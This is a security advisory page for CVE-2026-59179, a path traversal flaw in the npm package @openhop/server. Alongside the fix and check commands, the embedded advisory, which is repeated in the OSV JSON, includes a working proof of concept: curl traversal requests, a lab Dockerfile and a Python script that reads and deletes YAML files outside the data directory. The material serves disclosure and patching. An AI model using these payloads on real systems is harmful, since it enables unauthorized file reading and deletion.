CVE-2026-59179: @openhop/server Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-g72f-jw3w-mgh7
CVSS 8.3
CWE-22
Published
Advisory Summary

CVE-2026-59179 is a HIGH (CVSS 8.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @openhop/server libraries in the npm ecosystem. The issue involves path traversal in flow id file operations. Remediation is available by upgrading affected packages to version 0.3.6.

CVE-2026-59179 at a Glance

CVE Identifier CVE-2026-59179
GHSA Identifier GHSA-g72f-jw3w-mgh7
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product @openhop/server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-59179

To remediate this vulnerability, upgrade all affected @openhop/server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@openhop/server fixed: 0.3.6
npm install @openhop/server@0.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @openhop/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59179, inspect your project dependencies using npm:

npm ls @openhop/server

Analyze the terminal output to locate any version of @openhop/server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.6), your application is affected.

Note: The npm ls @openhop/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @openhop/server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Path Traversal in Flow ID File Operations ### Summary `@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**. ### Details `FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`: ```ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, `${id}.yaml`) } ``` This result is consumed by two sinks: - **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')` - **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))` The `id` value originates from unauthenticated Fastify HTTP route parameters: - `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335 - `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541 The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory. Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally. **Full data-flow (read path):** 1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`) 2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`) 3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`) 4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`) 5. Server responds HTTP 200 with YAML-parsed JSON body **Full data-flow (delete path):** 1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`) 2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`) 3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`) 4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`) 5. Server responds HTTP 204 ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 ``` The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets. **Attack 1 — Read file outside flow store:** ```bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' ``` Expected response: ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"} ``` **Attack 2 — Delete file outside flow store:** ```bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' ``` Expected response: ```http HTTP/1.1 204 No Content ``` Verify deletion: ```bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' # Output: deleted ``` **Automated PoC script:** ```bash python3 poc.py 127.0.0.1 8799 ``` **Recommended fix:** ```diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ + private filePath(id: string): string { + if (!FLOW_ID_PATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, `${id}.yaml`) } ``` ### Impact This is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H). **Affected parties:** - **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`. - **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication. An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) # # Build context: the repository root (naorsabag/openhop) # Usage: # docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 # # Data layout inside the container: # /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store) # /data/victim.yaml <- OUTSIDE the flow store (path traversal read target) # /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target) # # The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim", # so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml. FROM node:22-alpine WORKDIR /app # Copy package manifests so npm can resolve workspace dependency graph. COPY package*.json ./ COPY packages/server/package*.json packages/server/ COPY packages/shared/package*.json packages/shared/ COPY packages/cli/package*.json packages/cli/ COPY packages/web/package*.json packages/web/ # Copy TypeScript configs and source files BEFORE npm install. # The @openhop/server package has a "prepare" lifecycle that runs # `tsc && esbuild` during npm install, so all sources must be present. COPY tsconfig.base.json ./ COPY packages/server/tsconfig*.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/ # Install all workspace dependencies. # The @openhop/server prepare script will compile to dist/server.js. # We run the server via tsx (direct TypeScript), so the compiled output # is not required at runtime but the prepare step must not fail. RUN npm install # Set up the data directory layout for the PoC. # /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory) # /data/victim.yaml -> outside the store; represents a sensitive file that # MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml # Server listens on 8799 inside the container. EXPOSE 8799 # OPENHOP_DATA_DIR constrains the flow store to /data/flows/. # HOST=0.0.0.0 makes the server reachable from outside the container. ENV OPENHOP_DATA_DIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799 # Run the server via tsx (TypeScript runner; no compile step needed at runtime). CMD ["npx", "tsx", "packages/server/src/index.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 VULN-001 — CVSS 8.3 High Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, `${id}.yaml`) with no sanitization on `id`. The route GET /api/flows/:id passes `req.params.id` (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory. Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml Both routes are unauthenticated (routes.ts:306, 509). Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """ import http.client import json import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799 # URL-encoded payloads: %2F is a percent-encoded "/" character. # find-my-way treats ".." and "%2F" together as a single path segment # (no literal "/" split), then decodes the segment to "../victim". TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim" TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me" def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[*] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False def raw_http(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body def main() -> int: print("=" * 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" * 62) print(f"[*] Target : http://{HOST}:{PORT}") print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)") print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml") print() if not wait_for_server(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1 print() passed_read = False passed_delete = False # ── Attack 1: Read a file outside the configured flow store ───────── print("[*] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSAL_GET_PATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)") status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") print(f" Body : {body_text[:600]}") if status == 200: try: data = json.loads(body_text) title = data.get("meta", {}).get("title", "") if "SECRET_OUTSIDE_FILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passed_read = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passed_read = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}") print() # ── Attack 2: Delete a file outside the configured flow store ──────── print("[*] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)") status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") if body_text: print(f" Body : {body_text[:200]}") if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passed_delete = True else: print(f"[FAIL] Expected HTTP 204, got {status}") # ── Summary ───────────────────────────────────────────────────────── print() print("=" * 62) if passed_read and passed_delete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passed_read: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-59179 Affected @openhop/server Versions

1 component(s)
Fixed Versions:
0.3.6
Product / Package Ecosystem Affected Versions Fixed Version
@openhop/server
npm
< 0.3.6
0.3.6

References

Frequently Asked Questions

What is CVE-2026-59179?
CVE-2026-59179 is a security vulnerability in @openhop/server involving Path Traversal in Flow ID File Operations under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which @openhop/server versions are affected?
Affected versions include releases prior to 0.3.6 across affected packages: @openhop/server.
What version fixes CVE-2026-59179?
Upgrading to 0.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @openhop/server affected?
Yes, @openhop/server is affected in releases prior to 0.3.6. Upgrade your dependency to 0.3.6 or later.
What is the CVSS score of CVE-2026-59179?
CVE-2026-59179 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H.
What CWE is associated with CVE-2026-59179?
CVE-2026-59179 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-59179?
Run the dependency tree command: 'npm ls @openhop/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g72f-jw3w-mgh7",
  "modified" : "2026-09-09T23:51:59Z",
  "published" : "2026-09-09T23:51:59Z",
  "aliases" : [ "CVE-2026-59179" ],
  "summary" : "@openhop/server: Path Traversal in Flow ID File Operations",
  "details" : "## Path Traversal in Flow ID File Operations\n\n### Summary\n\n`@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**.\n\n### Details\n\n`FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`:\n\n```ts\n// packages/server/src/store.ts:52-53\nprivate filePath(id: string): string {\n  return join(this.dir, `${id}.yaml`)\n}\n```\n\nThis result is consumed by two sinks:\n\n- **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')`\n- **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))`\n\nThe `id` value originates from unauthenticated Fastify HTTP route parameters:\n\n- `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335\n- `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541\n\nThe route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory.\n\nAdditionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.\n\n**Full data-flow (read path):**\n\n1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`)\n2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`)\n3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`)\n4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`)\n5. Server responds HTTP 200 with YAML-parsed JSON body\n\n**Full data-flow (delete path):**\n\n1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`)\n2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`)\n3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`)\n4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`)\n5. Server responds HTTP 204\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n\n# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)\ndocker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n```\n\nThe container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets.\n\n**Attack 1 — Read file outside flow store:**\n\n```bash\ncurl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n{\"id\":\"victim\",\"meta\":{\"title\":\"SECRET_OUTSIDE_FILE\",\"description\":\"This file lives outside the configured flow store directory\"},\"flow\":{\"nodes\":[{\"id\":\"a\",\"label\":\"Sensitive Data\",\"type\":\"service\"}]},\"version\":1,\"createdAt\":\"2026-06-20T00:00:00.000Z\",\"updatedAt\":\"2026-06-20T00:00:00.000Z\"}\n```\n\n**Attack 2 — Delete file outside flow store:**\n\n```bash\ncurl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'\n```\n\nExpected response:\n\n```http\nHTTP/1.1 204 No Content\n```\n\nVerify deletion:\n\n```bash\ndocker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'\n# Output: deleted\n```\n\n**Automated PoC script:**\n\n```bash\npython3 poc.py 127.0.0.1 8799\n```\n\n**Recommended fix:**\n\n```diff\n--- a/packages/server/src/store.ts\n+++ b/packages/server/src/store.ts\n+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/\n+\n   private filePath(id: string): string {\n+    if (!FLOW_ID_PATTERN.test(id)) {\n+      throw new Error('Invalid flow id')\n+    }\n     return join(this.dir, `${id}.yaml`)\n   }\n```\n\n### Impact\n\nThis is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H).\n\n**Affected parties:**\n\n- **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`.\n- **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.\n\nAn attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\n#\n# Build context: the repository root (naorsabag/openhop)\n# Usage:\n#   docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .\n#   docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001\n#\n# Data layout inside the container:\n#   /data/flows/         <- OPENHOP_DATA_DIR (the configured flow store)\n#   /data/victim.yaml    <- OUTSIDE the flow store (path traversal read target)\n#   /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)\n#\n# The exploit payload \"..%2Fvictim\" is URL-decoded by find-my-way to \"../victim\",\n# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.\n\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy package manifests so npm can resolve workspace dependency graph.\nCOPY package*.json ./\nCOPY packages/server/package*.json packages/server/\nCOPY packages/shared/package*.json packages/shared/\nCOPY packages/cli/package*.json packages/cli/\nCOPY packages/web/package*.json packages/web/\n\n# Copy TypeScript configs and source files BEFORE npm install.\n# The @openhop/server package has a \"prepare\" lifecycle that runs\n# `tsc && esbuild` during npm install, so all sources must be present.\nCOPY tsconfig.base.json ./\nCOPY packages/server/tsconfig*.json packages/server/\nCOPY packages/server/src/ packages/server/src/\nCOPY packages/shared/src/ packages/shared/src/\n\n# Install all workspace dependencies.\n# The @openhop/server prepare script will compile to dist/server.js.\n# We run the server via tsx (direct TypeScript), so the compiled output\n# is not required at runtime but the prepare step must not fail.\nRUN npm install\n\n# Set up the data directory layout for the PoC.\n#   /data/flows/       -> configured as OPENHOP_DATA_DIR (the \"safe\" directory)\n#   /data/victim.yaml  -> outside the store; represents a sensitive file that\n#                         MUST NOT be reachable via the API without sanitization\nRUN mkdir -p /data/flows && \\\n    printf 'id: victim\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n  meta:\\n    title: SECRET_OUTSIDE_FILE\\n    description: This file lives outside the configured flow store directory\\n  flow:\\n    nodes:\\n      - id: a\\n        label: Sensitive Data\\n' \\\n    > /data/victim.yaml && \\\n    printf 'id: delete-me\\nversion: 1\\ncreatedAt: \"2026-06-20T00:00:00.000Z\"\\nupdatedAt: \"2026-06-20T00:00:00.000Z\"\\nroot:\\n  meta:\\n    title: DELETE_TARGET_FILE\\n  flow:\\n    nodes:\\n      - id: b\\n        label: Delete Target\\n' \\\n    > /data/delete-me.yaml\n\n# Server listens on 8799 inside the container.\nEXPOSE 8799\n\n# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.\n# HOST=0.0.0.0 makes the server reachable from outside the container.\nENV OPENHOP_DATA_DIR=/data/flows\nENV HOST=0.0.0.0\nENV PORT=8799\n\n# Run the server via tsx (TypeScript runner; no compile step needed at runtime).\nCMD [\"npx\", \"tsx\", \"packages/server/src/index.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)\nTarget: @openhop/server 0.3.5 / openhop CLI 0.3.6\nVULN-001 — CVSS 8.3 High\n\nVulnerability:\n    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:\n        return join(this.dir, `${id}.yaml`)\n    with no sanitization on `id`. The route GET /api/flows/:id passes\n    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly\n    to store.get(id), which calls filePath(). A payload of \"..%2Fvictim\" in\n    the URL is decoded to \"../victim\", causing path.join to escape the\n    configured data directory.\n\nAttack Vectors:\n    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml\n    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml\n\nBoth routes are unauthenticated (routes.ts:306, 509).\n\nUsage:\n    python3 poc.py [host] [port]\n    python3 poc.py 127.0.0.1 8799\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport time\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799\n\n# URL-encoded payloads: %2F is a percent-encoded \"/\" character.\n# find-my-way treats \"..\" and \"%2F\" together as a single path segment\n# (no literal \"/\" split), then decodes the segment to \"../victim\".\nTRAVERSAL_GET_PATH = \"/api/flows/..%2Fvictim\"\nTRAVERSAL_DELETE_PATH = \"/api/flows/..%2Fdelete-me\"\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -> bool:\n    \"\"\"Poll until the OpenHop server returns any response on /api/flows.\"\"\"\n    deadline = time.time() + timeout\n    print(f\"[*] Waiting for server at http://{host}:{port} ...\")\n    while time.time() < deadline:\n        try:\n            conn = http.client.HTTPConnection(host, port, timeout=2)\n            conn.request(\"GET\", \"/api/flows\")\n            r = conn.getresponse()\n            r.read()\n            conn.close()\n            print(f\"[+] Server ready (HTTP {r.status} on /api/flows)\")\n            return True\n        except Exception:\n            time.sleep(1)\n    return False\n\n\ndef raw_http(method: str, host: str, port: int, path: str):\n    \"\"\"\n    Send an HTTP request with the path exactly as given — no normalization.\n    http.client does NOT percent-decode or normalize the path string, so\n    '..%2F' reaches the server verbatim and Fastify's router decodes it.\n    \"\"\"\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n    conn.request(method, path)\n    resp = conn.getresponse()\n    body = resp.read()\n    conn.close()\n    return resp.status, body\n\n\ndef main() -> int:\n    print(\"=\" * 62)\n    print(\"VULN-001  Path Traversal in OpenHop Flow ID File Operations\")\n    print(\"=\" * 62)\n    print(f\"[*] Target  : http://{HOST}:{PORT}\")\n    print(f\"[*] Payload : ..%2F  (decoded by find-my-way to ../)\")\n    print(f\"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)\")\n    print(f\"[*] Outside : /data/victim.yaml  /data/delete-me.yaml\")\n    print()\n\n    if not wait_for_server(HOST, PORT):\n        print(\"[-] Server did not become ready within timeout. ABORT.\")\n        return 1\n\n    print()\n    passed_read = False\n    passed_delete = False\n\n    # ── Attack 1: Read a file outside the configured flow store ─────────\n    print(\"[*] Attack 1 — READ path traversal\")\n    print(f\"    Request : GET {TRAVERSAL_GET_PATH}\")\n    print(f\"    Decoded : id = ../victim\")\n    print(f\"    Resolves: path.join('/data/flows', '../victim.yaml')\")\n    print(f\"            = /data/victim.yaml  (outside flow store)\")\n\n    status, body = raw_http(\"GET\", HOST, PORT, TRAVERSAL_GET_PATH)\n    body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n    print(f\"    Status  : {status}\")\n    print(f\"    Body    : {body_text[:600]}\")\n\n    if status == 200:\n        try:\n            data = json.loads(body_text)\n            title = data.get(\"meta\", {}).get(\"title\", \"\")\n            if \"SECRET_OUTSIDE_FILE\" in title:\n                print(\"[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml\")\n                print(f\"       Leaked title field = {title!r}\")\n                passed_read = True\n            else:\n                print(f\"[WARN] HTTP 200 but unexpected title: {title!r}\")\n                print(f\"       Full response: {data}\")\n                # Still count as read-traversal success if we got a valid flow back\n                if \"meta\" in data or \"flow\" in data:\n                    print(\"[PASS] READ confirmed: path traversal returned a flow from outside store\")\n                    passed_read = True\n        except json.JSONDecodeError:\n            print(f\"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}\")\n    else:\n        print(f\"[FAIL] Expected HTTP 200, got {status}\")\n\n    print()\n\n    # ── Attack 2: Delete a file outside the configured flow store ────────\n    print(\"[*] Attack 2 — DELETE path traversal\")\n    print(f\"    Request : DELETE {TRAVERSAL_DELETE_PATH}\")\n    print(f\"    Decoded : id = ../delete-me\")\n    print(f\"    Resolves: path.join('/data/flows', '../delete-me.yaml')\")\n    print(f\"            = /data/delete-me.yaml  (outside flow store)\")\n\n    status, body = raw_http(\"DELETE\", HOST, PORT, TRAVERSAL_DELETE_PATH)\n    body_text = body.decode(\"utf-8\", errors=\"replace\")\n\n    print(f\"    Status  : {status}\")\n    if body_text:\n        print(f\"    Body    : {body_text[:200]}\")\n\n    if status in (200, 204):\n        print(f\"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside 